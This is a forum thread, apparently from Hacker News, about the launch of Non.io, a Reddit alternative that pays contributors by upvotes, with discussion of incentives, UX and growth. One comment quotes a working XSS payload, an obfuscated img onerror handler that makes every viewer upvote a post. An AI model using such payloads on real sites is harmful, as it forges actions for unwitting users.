Edit: You can browse without registering after all, here’s the link: https://non.io/#all (didn’t see it on the landing page or OP post).
My big issues with iframes is the checkout process which inevitably has to make callbacks to your api with the results of the transaction. If you're behind any sort of firewall (like most businesses are) you're in for a world of http pain.
This is also why styling such forms is always some species of wonky.
Those iFrames cause all kinds of headaches when the user hits the back button or double clicks a submit button or does any number of other things that happen thousands of times a day on a moderately high traffic site, and when it messes up you either miss out on a sale (ouch) or charge the customer twice (double ouch).
They usually don't tell you they do. For example, both Stripe and Square use iFrames; otherwise it's not possible to hide credit card entry from your main application.
There are gateways that redirect you away and return you back after payment, but that's a whole another story.
The current top post uses this XSS to have users upvote it:
<img src="a" onerror="soci.postData(String.fromCharCode(112,111,115,116,116,97,103,47,97,100,100,45,118,111,116,101),{post:String.fromCharCode(120),tag:String.fromCharCode(120)})">
Which sends a POST request to `posttag/add-vote` for the post labeled `x`
I was not able to create an account. (I had to go desktop)
But I’m currently working on being a little more diplomatic, and too often I regret throwing in low-signal “this is a tech demo” type summaries next to my substantial remarks.
I hope this comes off as “fellow user working on this” and not a person in a glass house with rocks.
Serious thank you for leading the way on high-value habits I’m still working on!
This approach acknowledges what the person is trying to accomplish, and lays out the obstacles before arriving at the conclusion, which then feels more natural. The recipient is able to follow your thinking and hopefully "arrive" at the conclusion along with you. When you start with the conclusion, you risk having a jarring moment where you start with something unexpected, and that can generate friction.
I encourage the creator of Non.io to identify the key shortcomings of Reddit and improve upon them. Don’t just try to clone Reddit beyond the basic image/link board, otherwise you’ll just be playing their game. Change the game. There is a Folding Ideas video on this topic which has some great insights with respect to YouTube: https://youtu.be/r3snVCRo_bI
What’s that story about the economist who was trying to concentrate but there were kids playing soccer below his window and being noisy, so he went out and offered them $1 each if they come back and played tomorrow. The next day he offered them 50c, then 25c, and after that 5c, and the kids got annoyed “we wouldn’t come here to play for a measly five cents!” and stormed off, and didn’t come back.
I’ve put many hours into Reddit and Stackoverflow for free, but if you take $24 from me for a year and then offer me $0.0193 for my efforts based on upvotes I might feel a bit cheesed off about it.
Being forced to face how insignificant I am feels likely to drive me away, free upvotes at least let me feel important and they cost nothing.
Or the people who knit clothes saying things along the lines of “I’ll do it for a genuine thank you, but $10 is an insult; if this is a transaction, that doesn’t begin to cover my costs let alone my time”.
is that how it works? I thought it was offering payments based on who creates posts or other community tools, not based on participation.
you are correct that 2 cents would be a pittance to me who doesn't even want to be paid to browse content. But if I and 1000 others gave that 2 cents to what we thought was quality content, that could make someone's day (not career per se. But $20 from random strangers feels good). At scale that's basically how YT/Twitch work, except they don't take money directly from us so much as time (for ads).
> "[your subscription fee over my $1 take] gets split evenly between everything you upvote that month."
So if I subscribe and pay $2/month, there's $1/month from me for that, so if I upvote ten things they each get $0.03 from me and if I upvote a ten things a day that's three hundred in a month, they each get $0.0033 from me.
I'm not clear if that covers comments or only top level submissions / posts, but if I comment and get upvoted ten times in a month, presumably I get some money from the upvoters, like $0.03. There are times I've spent well over an hour writing programming comments on Reddit, testing code or trying to explain a concept, things that could have been a blog post. Getting nothing for it is fine, that was the deal. Getting $0.03 for it is more like tipping a waitress a penny, I think. Getting $10 would need into the thousands of votes (which rarely happens on Reddit comments by comparison) and still wouldn't pay for my time wtiting it by minimum wage.
I think this only works if you throttle votes (and assumedly, this only applies to voted on posts, not necessarily every comment), but that was one of the worst parts of Voat (from a technical standpoint, at least). There probably needs to be normal old infinite "I like this" votes and then treat your subscription votes as a form of gilding (except it actually does help pay someone, unlike reddit's gilding).
You can also propose that you do let non-subscribers vote, but a subscriber vote weighs more. Be it explicit* or not.
*(e.g. hover over votes and you see a split of which are "subsciber votes. Which say, counts as 5 votes or something. so A 30 point post with 2 subs votes = 20 normal voters + 2 subs)
But sure, maybe it's better to set a floor for monetization, similar to how a YT channel needs 1000 subs to start being monetized. It's not valuable nor enticing for every user who posts something with 10 votes to collect 10 cents. Someone else did mention something about a $50 minimal withdrawal.
The more you donate, the more upvotes you get ($5 per month would give you 400 votes).
Many of the richest people in the world are also the worst kind of people.
You will not see diverse content being upvoted with this model and you will encourage rampant corruption (ie Trump campaign being upvoted using right wing corporate funds/"donations" to promote it).
If there are 100K upvotes per month in some small city sub, and 100B in the videos sub, getting 1K upvotes in the city sub would would be the equivalent of 1B in the videos sub (in terms of your distribution)
This would encourage people to participate in smaller communities, which could be really nice for keeping the "small town" vibe of early reddit.
> This would encourage people to participate in smaller communities, which could be really nice for keeping the "small town" vibe of early reddit.
Couldn't it also cause a fragmentation of content across different same-ish subs ?
What if you pump it up with VC money?
Your grandmother cooks an amazing dinner each Thanksgiving, for nothing but your love and thanks.
If at the end of the meal you said, “Great dinner, Gran, here’s for your trouble,” and handed her a $20, how do you think she’d react?
But this does suggest that it would be different to comment on a board like this. People wouldn’t just be making comments for the joy of discussion, they would be making comments with their hands out for a tip.
I think this incentivizes low investment drive-by comments, but perhaps this could be fixed as well. For example, you don’t have to display the actual upvotes/downvotes score of a comment, you can display and sort by a score which is a function of those things and additional information about the quality of that comment, incentivizing comments which are both popular and insightful.
The key factor is that people who have a sense of belonging or ownership will donate their time and expertise. People on /r/AskHistorians go to extreme lengths to provide ultra-high-quality answers for free because that's what it takes to be part of that community. The one time I felt like I actually had something to contribute I started my comment (a reply to another comment, there's zero chance I'll ever be qualified to provide a top-level response) with "It's an amazing day, I actually have something to contribute here!" And many people start their comments that way.
A paid environment -- especially one where the compensation is likely to be trivially small -- is far less likely to engender that sort of participation and support.
Which is why launching any social network is a dice roll. You need that initial momentum to propel it further, or some 'lucky break' to get it popular. Many social networks got popular accidentally, typically because some VIP joined the platform and everyone went to follow the VIP, increasing DAUs / MAUs which is the only metric social media networks care about.
My original plan was to pay for ~100 users accounts and seed the site with content for a proper launch. Given what's happening today though, it felt at least pertinent to show off the current state and get some feedback.
The balance between splash page on landing / landing on content is a hard one, but I think you're right. I am worried though that without conveying the initial business model, it'll be harder for users to understand that this isn't a direct reddit clone.
It's not easy, and the value of an expert UX designer really shines when walking the tight-rope between informing and annoying your users.
Also, consider investing in reliable A/B testing infrastructure if you haven't already. One of the biggest mistakes I've seen is trying to grow a product while driving half-blind based on napkin sql queries as metrics. Understand who is using the site, how often, when they are experiencing errors, and which types of changes actually encourage growth KPIs - but be careful, loading up the site with 3rd party trackers and intrusive js will introduce bugs and kill site performance - another balancing act hehe.
Wish you the best of luck with this. And I'll look into posting my stuff on there as well, as I said there really isn't any reason not to
I’m obviously not targeting this at you but a business model likes this (paying fractions of a penny per upvote) is not likely to attract high quality content. In fact the opposite it incentives a quantity over quality approach (i.e. content has to be just good enough to get upvoted spending more effort is wasted)
In a way Reddit did distinguish their usual "this content is better than the one below" upvote with "this is amazing content" by giving Reddit gold. A similar system could be used here. One thing that made Reddit great was that since people up (and maybe more importantly) downvoted content good stuff would float to the top. It would be pretty bad if upvotes where too meaningful as that would drive away engagement.
Regular users can upvote 100 cat pictures for their dopamine hit, and when they find an ACTUALLY VALUABLE post they can look for the small button.
IMO the only good reason to have a marketing/business-case landing page is if the product itself hasn't been built yet. Once the product exists, move the marketing page over to /about
you need to build momentum somehow
maybe summarise what your users need to understand in a sidebar or closeable top-bar?
So basically what already happens with reddit/twitter/etc but amplified because you give them a direct financial incentive to upvote low effort crap.
I think the problem with karma/reputation systems is that the source of karma are fungible - anyone's upvote has the same effect on the reputation. And this makes it gameable.
A personalized system can solve this by replacing global reputation with user-to-user trust. Now it matters who upvoted - a random bot or a user whose past contributions have been useful to you.
In that system how do you create a ranked list of content for a user to browse? Isn't it going to be very heavy on processing demand?
This is more computationally intensive than sorting by the raw number of upvotes or weight upvotes by karma/popularity.
But I think this is a useful computation - the user can be more confident that the content they is is not astroturfed and comes from trustworthy users.
Details of how trust is calculated: https://linklonk.com/item/3292763817660940288
Even if they boost their own post a bit for it to get the attention of others, they're still paying $2 per upvote for that. And if their post is no good, people might even just cancel those out with downvotes.
That's assuming the site lets 10K+ users sign up and pay with crypto, or you have the time to track down and signup for 10K prepaid burner cards. Then, after allo that, you'd have to hope that the site never detects the vote manipulation, since you'd have an account that's getting tons of upvotes from a specific set of users.
Really.. I think this is the worst idea for laundering money I've ever heard of. You'd be better off walking into a casino and putting it all on blackjack until you win a big hand, then reporting the winnings.
I think the ONLY value any of these these have is network effect. All those other things you listed are either irrelevant or come after the network effects kick in. The only other important thing is the visual/practical UX.
Also you should advertise that this is an open-source project on the landing page, as that may cause more people to be interested in trying it out.
a) seed itself with tons of j referring links. At the end of the day people come for the content not the platform.
b) target moderation groups and convince individual smaller communities to transport themselves wholesale. Go down the dark list and start marketing to each mod team one by one.
But yes, it needs a new capability that is the hook.
And I'm not trying to pile on, I'm just saying there's value to people in that fact.
I'd be willing to wager a good chunk of people don't care who runs their platforms so long as they can talk to the majority of their friends / see large swathes for new content / etc. - see Facebook, for example.
I absolutely love the project though! Will check it out now.
As an example, look at most of Linux Distro's UX since you brought it up. They aren't meant for the layman the way Mac/Windows was. the deeply technical audience, for better or worse, puts up with a lot of UX issues for their tools. That doesn't work the same way for a general audience website or app.
----
But that's from the "why can't programmers art" side of the argument. Of course, that begs the question "why can't programmers find artists to work with them?"... well, there's a dozen different reasons. Culturally, historically, socially, and so on.
But to list the one big reason; there aren't stereotypes about programmers being short on cash and needing to commissions out programs after their full time job just to get by. (a few) programmers do all that just for their own self-fulfillment or for their own goals, with no expectations of a big payment most of the time. Because many are already financially comfortable.
Just a idea to get some ideas from others -- this does not necessarily represent how art or artists feel or operate since I am not one and don't actually know.
On the contributor side:
- Visual style guides require much more time and skill to create (relative to style guides for code) and still generally fail to achieve anywhere near the aesthetic unity of a single great designer with total control.
- If you commoditize your design elements to the point where it is easy to contribute them, then it is no more difficult to do it yourself to begin with.
- Delegation of design work still requires that you funnel it somewhere to be judged on qualitative measures, rather than the pass/fail nature of code
Generally the best you can do is collaborate very, very tightly and then funnel it through a single person in the end anyway a la Python's BDFL in a very trial and error fashion.
On the contributor side:
- Visual style guides require much more time and skill to create (relative to style guides for code) and still generally fail to achieve anywhere near the aesthetic unity of a single great designer with total control.
- If you commoditize your design elements to the point where it is easy to contribute them, then it is no more difficult to do it yourself to begin with.
- Delegation of design work still requires that you funnel it somewhere to be judged on qualitative measures, rather than the pass/fail nature of code
Generally the best you can do is collaborate very, very tightly and then funnel it through a single person in the end anyway a la Python's BDFL in a very trial and error fashion.
Its really enough for ppl to start looking for alternatives.
I tried browsing, but the top post is a photo of Hitler with the title “A man who did nothing wrong” and several upvotes.
Im pretty sure this is how Reddit and many popular sites started. Fake it before you make it! Without interesting content you DOA.
How about said hook being? "absence of dark patterns" .. which is possible because of stable funding, so there's no enshittification dynamic needed to make money.
Also lesswrong is a cesspool of pseudointellectual bullshit. Eliezer Yudkowsky's ideas don't stand up to reality on average, and the people who "follow" him tend not to understand the relationship between methods of thinking about the world and methods of predicting how the world will behave.
If it helps, I'm on Edge v.114.0.1823.43, Windows 10.
Great concept though, I like the idea of subscription money going to popular content creators but worry this simply encourages lazy posting of popular meme content, basically a monetised karma farm. The capitalists that we are, many will find a way to optimise post engagement against the algorithm and many will be pursuing hard cash rather than social interaction.
instead do unimaginative, stupid and ugly design. Reddit will shut down old.reddit within the next 16 months and when that happens there will be a gap in the market to grab the most dedicated of reddit's audience with something that looks as ugly but works as great as old.reddit does.
When I visit the root domain I shouldn't be greeted with a marketing splash page, you need interesting content in the user's face right away, entice their curiosity and drive the user to explore the site... even as a fellow developer, my first instinct is to abandon the page as soon as I'm greeted with the cliche startup marketing page. Consider the user experience when I visit reddit.com or news.ycombinator.com or any other link aggregation competitor. What you have now is a tech demo, not a platform. Sorry if that's a little harsh, but I mean well! Good luck!